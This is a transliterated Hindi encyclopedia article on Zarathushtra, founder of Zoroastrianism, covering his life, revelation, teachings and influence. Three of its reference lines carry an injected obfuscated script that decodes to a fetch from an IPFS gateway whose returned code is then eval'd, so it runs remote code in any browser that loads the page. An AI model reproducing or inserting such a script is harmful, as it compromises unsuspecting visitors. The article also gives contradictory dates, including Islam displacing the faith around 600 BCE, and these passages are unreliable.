ज़रथुष्ट्र
zarathushtr
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| vivaran | 'zarathushtr' 'parasi dharm' ke sansthapak the. inake nam par hi parasi dharm ko 'zarathushtr dharm' bhi kaha jata hai. |
| any nam | zorostar |
| sansthapak | parasi dharm |
| samay kal | 1700-1500 ee.poo. ke bich |
| kul | spitama |
| abhibhavak | paurushahasp, dudhadhova |
| any janakari | sant zarathushtr ko rrigved ke aangira, brihaspati adi rrishiyoan ka samakalik mana jata hai. parantu rrigvedik rrishiyoan ke viparit zarathushtr ne ek sansthagat dharm ka pratipadan kiya. |
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zarathushtr (farasi- زرتشت zaratosht; avestan- zar.thushtr; sanskrit- harith + ushtr arthath 'sunahari ooant vala')[1] parasi dharm ke sansthapak the. grik bhasha mean inhean 'zorostar' kaha jata hai aur adhunik farasi mean 'jaratosth'. parasi dharm eeran ka rajadharm hua karata tha. kyoanki paiganbar zarathushtr ne is dharm ki sthapana ki thi, isilie ise 'zarathushtri dharm' bhi kaha jata hai. mana jata hai ki zarathushtr ko 30 varsh ki ayu mean jnan prapt hua tha. unhoanne parasiya mean us samay phaile bharatiy vaidik dharm se milate-julate 'bahudevavad' ka virodh kiya aur 'ekeshvaravad' ka samarthan kiya.
parichay
zarathushtr (zaradusht) ko parasi dharm ka prachin pratishthata mana jata hai. vah eesa se 600 varsh poorv hue the. unhoanne agni aur soory ki pooja ki pratha chalaee thi. parasiyoan ki prasiddh dharm pustak ‘jand avastha’ unhoanne hi likhi hai. 'shahanama' ke anusar zaradusht tooraniyoan ke hathoan mare ge the.[2] sant zarathushtr ko rrigved ke aangira, brihaspati adi rrishiyoan ka samakalik mana jata hai. parantu rrigvedik rrishiyoan ke viparit zarathushtr ne ek sansthagat dharm ka pratipadan kiya. sambhavat: zarathushtr kisi sansthagat dharm ke pratham paigambar the. itihasakaroan ka mat hai ki ve 1700-1500 ee.poo. ke bich sakriy the. zarathushtr eerani aryoan ke 'spitama' kutumb ke 'paurushahasp' ke putr the. unaki mata ka nam 'dudhadhova' (dogdoan) tha.
jnan ki prapti
parasi dharm paigambari dharm hai, kyoanki zarathushtr ko parasi dharm mean 'ahur mazda' (eeshvar) ka paigambar mana gaya hai. ek gatha ke anusar zarathushtr ko ahur majda saty dharm ki shiksha dene ke lie paigambar niyukt kiya gaya tha aur unhean shruti dvara saty ka jnan hua tha. 'parasi mithak shastr' ke anusar tis varsh ki umr mean zarathushtr ki mulakat 'vohoo manah' nam ke ek pharishte se huee, jo unhean ahur majda ke pas le gaya. isake bad agale das varshoan tak ahur majda ke pharishte a-a kar zarathushtr se mile aur unhean shrut jnan diya. lagabhag 77 varsh aur 11 din ki ayu mean zarathushtr ki mrityu huee thi.[3]
parasi dharm ki sthapana
zarathushtr 'ahur majda' ke sandesh vahak the. unhoanne sarvapratham daevoan[4] ki ninda ki aur ahur mazda ko ek, akela aur sachcha eeshvar mana. unhoanne ek naye dharm "zarathushtri dharm" (parasi dharm) ki shuruat ki aur parasi dharmagranth 'avesta' mean pahale ke kee kand likhe. jarathushtr prachin gris ke nivasiyoan tatha pashchaty lekhakoan mean grik nam 'zorostar' se jnat haian. gujarati tatha any bharatiy bhashaoan mean inhean 'zarathushtr' kaha gaya hai. zarathushtr ke janm aur maran kal ke bare mean itihasakaroan mean matabhed haian. unake jivan kal ka anuman vibhinn vidvanoan dvara 1700-1500 ee.poo. ke bich mana gaya hai.
sabase pahale shuddh advaitavad ke pracharak zarathushtri dharm ne yahoodi dharm ko prabhavit kiya aur usake dvara eesaee aur islam dharm ko. is dharm ne ek bar himalay par ke pradeshoan tatha grik aur roman vichar evan darshan ko prabhavit kiya tha, kiantu 600 varsh ee. poo. ke lagabhag islam dharm ne isaka sthan le liya. yadyapi apane udbhavasthan adhunik eeran mean yah dharm vastut: samapt ho chuka hai. prachin zarathushtriyanoan ke mutthi bhar bache logoan ke atirikt, jo vivashataoan ke bavajood eeran mean rahe, aur unake vanshajoan ke atirikt, jo apane dharm ko bachane ke lie barah shatabdiyoan se adhik hua poorv bharat bhag ae the, unamean us mahanh prabhu ki vani ab bhi jivit hai aur aj tak unake gharoan aur upasana grihoan mean suni jati hai. gitoan ke roop mean 'gatha' nam se unake upadesh surakshit haian, jinaka saanrash hai- 'achchhe vichar, achchhi vani, achchhe kary'.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 parasi dharm (hindi). . abhigaman tithi: 05 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 564, parishisht 'n' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ parasi dharm (hindi). . abhigaman tithi: 05 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ buri aur shaitani shaktioan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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